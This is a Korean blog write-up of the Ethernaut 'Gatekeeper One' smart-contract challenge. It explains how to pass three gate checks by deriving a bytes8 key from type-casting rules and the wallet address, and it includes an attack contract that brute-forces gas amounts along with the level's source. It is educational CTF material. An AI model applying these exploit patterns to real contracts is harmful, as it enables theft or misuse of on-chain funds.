본문 바로가기

CTF/Ethernaut

[Ethernaut] 13.Gatekeeper One (!!hard!!)

Ethernaut levevl 13 의 요구사항

Telephone과 Token level에서 배웠던 것을 기억하면서 enter함수를 통과해서 true리턴 받기

 

문제를 보면 gateOne, gateTwo, gateThree가 있는데 

One은 컨트랙트를 작성해서 접근해야 하는 것이고, 

Two는 gasleft() % 8191 이 0이어야 하는 것이고, 

Three는 타입변화를 해서 통과해야 하는 것이다. 

 

One은 됐고, 

 

Two는 gasleft() % 8191 이 0이 되는 건 어떤 건지 살펴보자.

컨트랙트를 통해서 트랜잭션을 실행할 때, call을 쓰면 가스를 정해서 보낼 수 있는데 거기서 8191의 배수만큼 넣어주면 된다.

gasleft() 추가 글

 

Three 여기가 조금 복잡하다. 

이런 식이다. 

bytes8을 넣어서 uint32(uint64()) 랑 (uint16(uint64())랑 같아야 한다. 

그랬을 때 uint64()까지는 똑같으니까. uint32( "bytes8" ) 이랑 uint16 ( "bytes8" )이랑 같아야 하는 것. 

bytes8은 0x A1 A2 A3 A4 A5 A6 A7 A8 이렇게 되어있다고 할 때
uint32(uint64(0x A1 A2 A3 A4 A5 A6 A7 A8))  == uint16(uint64(0x A1 A2 A3 A4 A5 A6 A7 A8)) 

uint64에서 뒤에서 자른 32와 16이 같다고 하면 

A5 A6 A7 A8 과 00 00 A7 A8 이 같다는 것이기 때문에 

 

0x A1 A2 A3 A4 00 00 A7 A8  여기까지 알 수 있다. 

 

그리고 두 번째 줄에서 

uint32(uint64(_gateKey)) =>              0x                        00 00 A7 A8 이거인데 

uint64(_gateKey)랑 다르다고 했으니까. 0x A1 A2 A3 A4 00 00 A7 A8 라고 했을 때 

A1 A2 A3 A4는 00이 아닌 다른 뭐든 와도 괜찮다.

 

편의상 임의의 문자 B

0x BB BB BB BB 00 00 A7 A8  여기까지 알 수 있다.

 

마지막 세 번째 줄에서 

uint32(uint64(_gateKey)) =>              0x                        00 00 A7 A8 이거랑 

uint16(uint160(tx.origin))이랑 같아야 한다고 하니까 tx.origin의 마지막 4자리가 A7 A8이랑 같은 것 

tx.origin은 트랜잭션을 처음에 날리는 것이기 때문에 지갑주소가 될 것이고 지갑의 마지막 4자리를 넣으면 된다. 

ex) 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4

 

0x BB BB BB BB 00 00 dd C4  여기까지 알 수 있다.

 

그렇다면 컨트랙트 작성. 

contract AttackGatekeeperOne {

    address public target;
    
    constructor(address _target) {
        target = _target;
    }
    
    function pass(bytes8 gateKey, uint256 num, uint256 _repeat) public {
        bytes memory encodedParams = abi.encodeWithSignature(("enter(bytes8)"),
          gateKey
        );
        for (uint256 i = 0; i < num ; i++) {                      
            (bool result, ) = address(target).call{gas:i + 8191 * _repeat} (
                encodedParams
            );
            if(result) {
                break;
            }
        }
    }

}

여기서 gateKey는 위에서 구한 값, num은 400, repeat은 3으로 넣으니까 통과했다.

문제 컨트랙트에서 gasleft() % 8191 == 0 이 부분이 있는데 여기를 통과하기 위해 소모되는 가스비라고 보면 된다. 

 

 

level 13.Gatekeeper One 코드 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
 

 

 

'CTF > Ethernaut' 카테고리의 다른 글

[Ethernaut] 15.Naught Coin  (0) 2024.02.12
[Ethernaut] 14.Gatekeeper Two  (0) 2024.02.10
[Ethernaut] 12.Privacy  (0) 2024.02.08
[Ethernaut] 11.Elevator  (0) 2024.02.08
[Ethernaut] 10.Re-entrancy  (0) 2024.02.05